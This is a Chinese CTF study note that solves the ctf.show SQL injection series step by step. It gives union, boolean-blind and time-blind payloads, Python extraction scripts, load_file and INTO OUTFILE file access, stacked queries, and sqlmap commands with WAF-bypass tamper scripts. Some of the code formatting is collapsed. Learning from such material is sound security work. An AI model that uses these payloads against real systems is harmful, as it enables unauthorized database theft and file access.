sql注入

这是算是学习+做题+记录的一个笔记吧,而且基本都是看着Y4师傅的博客做的

由于是做过sqli靶场,所以这个就记录快点了。如果靶场没遇到的,也会做笔记。

union 联合注入

web171

首先尝试1'--+,发现有返回值;说明直接闭合正确;

接着找用来输出的列:1' order by 3--+,发现一共有3行(就1,2,3,4,5慢慢试出来)

查看数据库:1' union select 1,2,database()--+得到数据库名为ctfshow_web

爆破表名:-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schecma=database()--+得到表名:ctfshow_user

爆破列名:1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+,得到列名:id,username,password

爆破信息:1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+,得到信息:1adminadmin,2user1111,3user2222,4userAUTOpasswordAUTO,5userAUTOpasswordAUTO,6userAUTOpasswordAUTO,7userAUTOpasswordAUTO,8userAUTOpasswordAUTO,9userAUTOpasswordAUTO,10userAUTOpasswordAUTO,11userAUTOpasswordAUTO,12userAUTOpasswordAUTO,13userAUTOpasswordAUTO,14userAUTOpasswordAUTO,15userAUTOpasswordAUTO,16userAUTOpasswordAUTO,17userAUTOpasswordAUTO,18userAUTOpasswordAUTO,19userAUTOpasswordAUTO,20userAUTOpasswordAUTO,21userAUTOpasswordAUTO,22userAUTOpasswordAUTO,23userAUTOpasswordAUTO,24userAUTOpasswordAUTO,26flagctfshow{ce006303-26f7-473b-864d-3055a602ef42}

拿到flag。

整理一下:

爆出有哪些位置可以进行输出数据
1' order by 3--+
查看数据库名字
1' union select 1,2,database()--+
爆破表名:
-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+
爆破列名:
1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
爆破数据:
1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+

有一个问题就是,这里用的是1而不是-1,居然能够爆出信息。可能是这里没有限定输出数据的量,所以能够用1,而不是用-1。

由于是第一题,所以就写的比较多

web 172

这题将ctfshow_user修改为了ctfshow_user2

爆破表名
-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+
爆破列名
-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user2'--+
爆破flag
-1' union select 1,2,group_concat(password) FROM ctfshow_user2 where username='flag'--+

发现一个东西:是不是说明:我将最外层的引号给闭合了,那么就相当于将内部的包含完了;

本题,如果我只是传入一个',那么"会被当做数据

web 173

思路一:对查询数据做限定,因为已经知道了,在密码一栏中没有flag,就如同172最后

1' union select 1,2,group_concat('+',password) from ctfshow_user3 where username='flag'--+

思路2:编码绕过,base64,hex

1' union select 1,2,to_base64(password) from ctfshow_user3 where username='flag'--+
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3 --+

web 174

方法一:

替换:将数据to_base64加密,然后将里面所有的数字用replace()替换

替换方式:1 testa,2 testb 3 testc等等

-1' union select  replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa'),replace(1,'1','testa') from ctfshow_user4 where username='flag'--+

得到base64加密切被替换了的flag

最后解码得到flag

web 175

将数据输出到一个文件中,然后访问对应文件

-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+

使用into outfile '/var/www/html/'将信息输入到文件中去

过滤

web 176

过滤了select,通过大小写即可绕过

1'union sElect 1,2,group_concat(password) from ctfshow_user--+

解法二

万能密码:

1' or 1=1--+

最后一行是flag

web 177——/**/绕过空格

不知道为啥/**/在后面用不来了

解法一:万能密码

1'or/**/1=1%23

解法二:正常查询

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web 178——%090a0b0c0d绕空格*

因为已经过滤了*,那么就需要用其它字符来绕过空格,可以选择

%09 tab%0a%0b%0c%0d
1'union%09select%0a1,2,password%0bfrom%0cctfshow_user%23

万能密码

1'or%0a1=1%231’or'1'='1'%23

web 179

可以万能密码

%09 %0a %0b %0d过滤了,可以用%0c

把上面的那个全换成%0c

web180-182

1'and(id=26)or'1'='1

web 183

对我来说的新姿势:利用正则表达式进行条件限定,就类似where username='flag'

tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('a'))

ctfshow_user是表名
pass是列名
``是为了区分表名的

这里用SQL注入靶场的数据做一个演示,以便理解表名列名

只要看得见返回值,是几,就能够说明注入是注入成功了的

然后这里通过盲注来进行解题;

import requests
import re url="http://164b9526-57c3-4978-bdd6-ad76fae3cfc7.challenge.ctf.show:8080/select-waf.php"
str="abcdefghijklmnopqrstuvwxyz-1234567890{}"
re=""
print(123)
for i in range(1,46):
for j in str:
data={
'tableName':f"`ctfshow_user`where(substr(`pass`,{i},1)regexp('{j}'))"
}
r=requests.post(url=url,data=data).text
if r.find(" $user_count = 1;")>0:
re=re+j
print(re)
break

web 184

过滤了:' " 反引号,用right join绕过过滤

tableName=`ctfshow_user` as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46))

RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。

[right join菜鸟教程](SQL RIGHT JOIN 关键字 | 菜鸟教程 (runoob.com))

这里是分别将ctfshow_uer重命名为a和b,接着在b中进行筛选,然后用right join将b中筛选出来的值与a表的值进行匹配。

有一点奇怪的问题,就是说,在进行测试的时候,得到 $user_count = 22;作为筛选条件,但是实际上用代码跑flag的时候,却是用 $user_count = 43;作为筛选条件。

同样,跑出来的flag也有点问题,简单说就是我没做出来。

贴一个Y4tacker师傅的代码

# @Author:Y4tacker
import requests url = "http://f15ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php" flag = 'flag{'
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

web 185

这个是web184,然后将数字改成true相加即可

还是会遇到一些很奇怪的问题;例如,跑代码时上传的talbeName能用,但是到网页端提交就不管用;又例如,flag开头应该是ctfshow,但是跑代码跑出来却是111ihw,实在有点不知道为什么。

这里贴一个代码,依旧是看着Y4大佬的代码改的,这里也将tableName的值输出来了,不过改了之后有点不稳定

import requests

url='http://c4f5a4c4-3c68-4fb8-bcc8-15efab77d141.challenge.ctf.show:8080/select-waf.php'
flag = ''
def Num(n):
num=''
for i in range(n):
num=num+'true+'
num=num[:-1]
return num for i in range(50):
for j in range(0,128):
data={
'tableName':f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{Num(i)},{Num(1)}) regexp(char({Num(j)})))"
}
r=requests.post(url=url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j)!='.':
flag+=chr(j)
print(flag.lower())
print(str(i)+':'+str(j)+':')
print(data)
break

web 186

同web185

登录类——特性

web 187

用户名:admin,密码:ffifdyop

题目中 $password = md5($_POST['password'],true);

说明$password是将$_POST['password']进行md5加密,再将加密字符串进行编码的结果

编码后正好有'or'6绕过了密码判断

web 188

payload是:username=0 password=0

原因是:

在比较查询的时候,查询语句为:select pass from ctfshow_user where username = 0 and password = 0;,由于username password是字符串,弱比较成了0,0=0成立,所条件就成立了;最后查询语句就成了:select pass from ctfshow_user where 1;

web 189

首先找到flag的位置,接着再对flag进行盲注,这个题,是在web 188的基础上进行的修改

import requests

url = "http://8cccbace-cc29-4542-a78d-b0f3261ed4f5.challenge.ctf.show:8080/api/"

def getflagPosition():#返回flag的位置
head=1
tail=300
while head<tail:
mid=(head+tail)>>1
data={
'username': "if(locate('ctfshow{',"+ "load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(mid)),
'password':'0'
} r = requests.post(url=url,data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
return mid def getFlag(num):#对flag进行盲注
i = int(num)
result = ""
while 1:
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
data = {
'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i), str(mid)),
'password': '1'
}
r = requests.post(url=url,data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
mid += 1
if head != 32:
result += chr(head)
print(result)
else:
break if __name__ == '__main__':
index=getflagPosition()
getFlag(index)

用来盲注的语句为:

找寻flag位置
if(locate('ctfshow{',load_file('/var/www/html/api/index.php'))>{0},0,1)
盲注flag
if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)

布尔盲注

web 190

正常的布尔盲注

import requests

url="http://16037a96-087c-444f-99d8-faa8a2e0d99f.challenge.ctf.show:8080/api/"
i=0
re="" while 1:
i=i+1
head=32
tail=127 while head < tail:#用二分法查找
mid=(head+tail)>>1 # "admin' and ord(substr(select database(),1,1))={0}".formate(str(i)) %23
# 查询数据库
# payload="select database()"
# 查表名
# payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
# 查列名
# payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
# 查数据
payload="select group_concat(f1ag) from ctfshow_fl0g" data={
'username':f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,0)='1'#",
# 'username':f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1", #是Y4师傅的写法
'password':1
}
r=requests.post(url=url,data=data)
if "密码错误" == r.json()['msg']:
head=mid+1
else:
tail=mid if head != 32:
re += chr(head)
else:
break
print(re)

web 191

用上面的代码,将url改一下就行,因为过滤了ascii函数 ,但是我们使用的是ord

因为看到了191中过滤有file into,所以是不是190中可以直接写入木马呢?

web 192

过滤了file|into|ascii|ord|hex,可以使用正则表达式

import requests

url="http://5c330f64-963e-477f-82b7-25a901b41341.challenge.ctf.show:8080/api/"
flagstr="_{-}1234567890abcdefghijklmnopqrstuvwxyz" re=""
flag="" for i in range(45):
for j in flagstr:
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)

web 193

过滤了file|into|ascii|ord|hex|substr,substr没了,可以用left() right(),其实也可以用mid(),这里将数据库名字给改了,和192的不一样,需要重新构造一个用来查询的语句。

import requests

url="http://df755a50-9318-495a-9788-1c5c721b44e2.challenge.ctf.show:8080/api/"
flagstr="abcdefghijklmnopqrstuvwxyz1234567890_{-} ," flag="ctf" for i in range(3,45):
for j in flagstr:
change=flag+j
payload = f"admin' and if(left((select group_concat(f1ag)from ctfshow_flxg),{i})regexp('{change}'),1,0)=1#"
#payload = f"admin' and if((select group_concat(f1ag)from ctfshow_flxg)regexp('{change}'),1,0)=1#"
#第二个payload没有使用截断字符串的函数,直接使用regexp进行的匹配
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)
break
print(payload)

看了Y4师傅的代码,惊讶的发现,居然可以将payload的left给去掉,可以直接正则匹配,不过需要起一个'ctfshow{'的头就行就行。Y4大佬的做法是,将{放到了flagstr的前边,太顶了!太顶了!实在是太顶了!

想一想,还是Y4大佬的做法比较严谨,以{开头的话,就不用考虑flag的前缀是啥了

# @Author:Y4tacker
import requests
import string url = "http://df755a50-9318-495a-9788-1c5c721b44e2.challenge.ctf.show:8080/api/"
flagstr="{}-" + string.ascii_lowercase + string.digits
flag = '' for i in range(1,45):
for j in flagstr:
change=flag+j
payload = f"admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('{change}'),1,2)='1"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)
if "}" == j:
exit(0)
break

web 194

过滤了file|into|ascii|ord|hex|substr|char|left|right|substring,可以用mid

web193已经说过了,可以直接使用regexp来进行匹配,不需要截断字符比较,所以可以直接白嫖一web193的代码

不过,还是看看Y4大佬的代码,多学习学习的好~

贴一个Y4大佬的宁一种思路

# @Author:Y4tacker
import requests
# 应该还可以用instr等函数,LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE
url = "http://dee436de-268a-408e-b66a-88b4c972e5f5.chall.ctf.show/api/"
final = ""
stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45):
for j in stttr:
final += j
# 查表名-ctfshow_flxg
# payload = f"admin' and if(locate('{final}',(select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,1,2)='1"
# 查字段-f1ag
# payload = f"admin' and if(locate('{final}',(select column_name from information_schema.columns where table_name='ctfshow_flxg' limit 1,1))=1,1,2)='1"
payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,2)='1"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url,data=data)
if "密码错误" == r.json()['msg']:
print(final)
else:
final = final[:-1]

locate:返回要找的str1在str2中的位置;这里依旧是以ctfshow{开头的

堆叠

web 195

利用堆叠注入:

username=0;update`ctfshow_user`set`pass`=111;password=111提交两侧

Y4大佬做法如下

payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"
# 至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围
sql = "select pass from ctfshow_user where username = {$username};";

但是我还是理解不了这个包围,没懂题目背后的逻辑,

只是这里用0恰好能够绕过

web 196

真的不懂逻辑

username=1;select(2)
password=2

web 199

username=1;show tables;
password=ctfshow_user

看样子,像是在先查询了username=1的数据,查询数据库名;同时,由于username=1没有数据,就返回了tables的信息,接着同password进行比较;

web 190~200

Y4大佬真的牛批!!!

sqlmap

web 201_初步-referer

真贴心,还有sqlmap专栏粉了粉了

SQLmap使用顺序:

  1. 获取当前MySQL中的所有数据库sqlmap -u http://xxx
  2. 获取当前数据库名字
  3. 获取数据库下的数据表
  4. 获取表下的列名
  5. 导出数据

要添加一个referer头

查数据库:python sqlmap.py -u <url> --referer="ctf.show" -dbs

查表名:python sqlmap.py -u <url> --referer="ctf.show" -D ctfshow_web -tables

查列名:python sqlmap.py -u <url> --referer="ctf.show" -D ctfshow_web -T ctfshow_user -columns

查flag:python sqlmap.py -u <url> --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C "id,pass,username" -dump

web 202_post

使用post方式进行注入,可以直接用--data="id=1",也可以--method=post来触发

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1"

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -dbs

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -columns

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -C "pass" -dump

web 203_PUT

指定--method=PUT方法,同时加上-headers="Content-Type:text/plain,否则put接受不了。同时,要加上index.php,url/api/index.php

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --dbs

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web --tables

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -Tctfshow_user -columns

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -Tctfshow_user -C pass -dump

WEB 204_cookie

sqlmap.py -u http://baab06b2-ebd9-4d00-a361-327d08a8d941.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=8fp1h4ctsl04cuo5o8kt61albs;"

python sqlmap.py -u http://baab06b2-ebd9-4d00-a361-327d08a8d941.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --cookie="PHPSESSID=ktbtej5u2bkmq7s4ujc9ivtcgs;" -D ctfshow_web -Tctfshow_user -C pass -dump

web 205_权限

--safe-url 设置在测试目标地址前访问的安全链接--safe-freq 设置两次注入测试前访问安全链接的次数

通过F12中network抓包可以看见,有一个getToken.php的请求token的动作;

所以paylaod:

python sqlmap.py -u http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/index.php --method=PUT --referer=ctf.show --headers="Content-Type:text/plain" --data="id=1" --safe-url="http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -dbs

一把梭:
python sqlmap.py -u http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/index.php --method=PUT --referer=ctf.show --headers="Content-Type:text/plain" --data="id=1" --cookie="PHPSESSID=sr49lqf1knjier6f32gospa24d;" --safe-url="http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx -dump

web 206_闭合

因为sqlmap会自动闭合,所以直接注入就行

python sqlmap.py -u http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/index.php --method=PUT --headers="Content-Type:text/plain" --data="id=1" --referer="ctf.show" --cookie="PHPSESSID=0nrrogf729lhqfjet1m8n0fo1o;" --safe-url="http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -dbms="mysql" -dbs

一把梭:
python sqlmap.py -u http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/index.php --method=PUT --headers="Content-Type:text/plain" --data="id=1" --referer="ctf.show" --cookie="PHPSESSID=0nrrogf729lhqfjet1m8n0fo1o;" --safe-url="http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -dbms="mysql" -D ctfshow_web -T ctfshow_flaxc -C flagv -dump

web 207~208 tamper绕过空格

开始编写tamper,用来绕过waf的脚本

看Y4大佬博客学习Sqlmap Tamper 编写

#!/usr/bin/env python"""Author:Y4tacker"""from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):    payload = space2comment(payload)    return payloaddef space2comment(payload):    retVal = payload    if payload:        retVal = ""        quote, doublequote, firstspace = False, False, False        for i in xrange(len(payload)):            if not firstspace:                if payload[i].isspace():                    firstspace = True                    retVal += chr(0x0a)                    continue            elif payload[i] == '\'':                quote = not quote            elif payload[i] == '"':                doublequote = not doublequote            elif payload[i] == " " and not doublequote and not quote:                retVal += chr(0x0a)                continue            retVal += payload[i]    return retVal
sqlmap.py -u "url/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="url/api/getToken.php" --safe-freq=1 --dbms=mysql --current-db --dump --batch --prefix="')" --tamper=space2comment

web 209

python sqlmap.py -u http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=h17vp69eprsjevq8si5ij7nr32;" --safe-url="http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 --referer="ctf.show"

一把梭:
python sqlmap.py -u http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/index.php --method=PUT --headers="Content-Type:text/plain" --data="id=1" --referer="ctf.show" --cookie="PHPSESSID:h17vp69eprsjevq8si5ij7nr32;" --safe-url="http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 -dbms mysql -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump
#!/usr/bin/env python
"""
Author:Y4tacker
""" from lib.core.compat import xrange
from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue elif payload[i] == '\'':
quote = not quote elif payload[i] == '"':
doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue retVal += payload[i] return retVal

web 210-212 tamper 加密解密

web 210
python sqlmap.py -u http://2109fedd-1d08-4aa8-a133-7558def3098d.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=28l0l2i3o3pqomglnai3bukdk7;" --safe-url="http://2109fedd-1d08-4aa8-a133-7558def3098d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 --referer="ctf.show"
web 211
python sqlmap.py -u http://ba7627ab-1729-41f3-ab5c-5d23b4e81ea9.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=1l29h3j38np2o554gj7rpmg8n6;" --safe-url="http://ba7627ab-1729-41f3-ab5c-5d23b4e81ea9.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 --referer="ctf.show"
web 212
python sqlmap.py -u http://257cef67-eece-425c-8a82-106e0c64ed58.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=c59hcfrneei39mptm9a7qjr7k5;" --safe-url="http://257cef67-eece-425c-8a82-106e0c64ed58.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 --referer="ctf.show" -dbs
#!/usr/bin/env python
"""
Author:Y4tacker
""" from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW def tamper(payload, **kwargs):
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue elif payload[i] == '\'':
quote = not quote elif payload[i] == '"':
doublequote = not doublequote elif payload[i] == "*":
retVal += chr(0x31)
continue elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue retVal += payload[i] return retVal

时间盲注

web 214

"""
Author:Y4tacker
"""
import requests url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/" result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127 while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
payload = "select flaga from ctfshow_flagx"
data = {
'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1 if head != 32:
result += chr(head)
else:
break
print(result)

Y4大佬这里用的是二分法来做这个,异常语句是用来判断if条件的,如果sleep(1)了,就会触发超时错误(设置了超时时间为1),于是就进入exception了。简单来说就是,用来掐head和tail来缩小范围。

如过用=来进行判断,就需要用暴力算法,一个一个试了。

web 215

import requests

url="http://42a6af71-6cae-4326-83a8-28b901d3d1e1.challenge.ctf.show:8080/api/index.php"

result=""
i=0 while True:
i=i+1
head=32
tail=127 while head < tail:
mid = (head + tail) >> 1
# 查表名
# payload=" select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查表名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'"
# 查数据
payload = "select flagaa from ctfshow_flagxc"
data = {
'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,sleep(1)) and '1'='1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
head = mid + 1
print('[+]:'+data['ip'])
except Exception as e:
tail = mid
print('[-]:'+data['ip']) if head!=32:
result += chr(head)
else:
break
print(result)
print('[*]:'+data['ip'])

web 216

时间盲注过滤了sleep,其它时间盲注方式

import requests
import time url="http://52500ec9-c070-4a05-b13a-a8a231ff2ff5.challenge.ctf.show:8080/api/index.php" result=""
i=0 while True:
i=i+1 # if i==9:#可以通过i的设置,来一段一段跑
# eixt(0)# flag越靠后,越不准 head=32
tail=127 while head < tail:
mid = (head + tail) >> 1
# 查表名
# payload=" select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查表名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'"
# 查数据
payload = "select flagaabc from ctfshow_flagxccb"
data = {
'ip': f"1) or if (ascii(substr(({payload}),{i},1))>{mid},1,BENCHMARK(1000000,md5('a'))",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=0.33)
time.sleep(1)
head = mid + 1
print('[+]:'+data['ip'])
except Exception as e:
time.sleep(1)
tail = mid
print('[-]:'+data['ip']) if head!=32:
result += chr(head)
else:
break
print(result)
print('[*]:'+data['ip'])
ctfshow{25e3e6c2-1412-4995-a5ctfmhow{25e1e6c2+1412-4995-a553-aee9b8b380b1}

最好还是去看一下Y4大佬的博客

web 221

考察的是limit后面的注入

可以利用 procedure analyse()通过extractvalue进行注入

"""
Author:Y4tacker
"""
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2) # https://www.jb51.net/article/99980.htm

额,flag居然就是 ctfshow_web-flag_x

web 222

group by后面的注入:group by注入原理

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag
sql= "select flagaabc from ctfshow_flaga"
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)" #concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1) n = 0 for i in range(0, 666):
for j in str:
params = {
'u' : payload.format(sql,i,j)
} start = time.time()
res = requests.get(url = url, params = params)
end = time.time()
if end - start > 2 and end - start < 3:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break

这个代码的sleep时间掐得很好,基本不用再跑第二次

web 223

ban了数字,用true代替

web 224——奇怪的文件上传

先扫描到有一个robots.txt文件,接着访问提示的地址(一个设置密码的界面),设置好密码值守,就能够登陆;结果是一个上传文件的操作。。。。

颖奇大佬的博客中提到了这一个题(CTFshow 36D Web Writeup – 颖奇L'Amore (gem-love.com))

(到群里面下载一个payload.bin文件上传,访问1.php,就可以rce)

web 225——堆叠plus

呜呜呜,终于遇到一个能自己做的了

  1. hander
?username=ctfshow';show tables;
?username=ctfshow';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;
  1. 预处理
';prepare yu from concat('sele','ct * from `ctfshow_flagasa`');execute yu;#
  1. show 展示一下表名列名
';show tables;#
';show columns from `ctfshow_flagasa`;#

web 226——堆叠plus

字符串转16进制在线转换器

过滤了,handler (),可以用16进制绕过,所以,过滤了,但是没有完全过滤

我滴妈耶,为什么用16进制的concat不行喃?额,不知道为啥,concat不能够用;

不过突然绕过弯来,既然已经能够用hex绕过了,就不用concat了

payload大概长这样

?username=';prepare yu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute yu;#

web 227——堆叠-MySQL存储过程和函数

考察的是MySQL的存储过程:MySQL——查看存储过程和函数_时光·漫步的博客-CSDN博客_mysql查看函数命令

讲解:

( ctf php sql注入,CTFshow-WEB入门-SQL注入(下)(持续更新)_itwebber的博客-CSDN博客

在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:

SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';

其中,ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称。

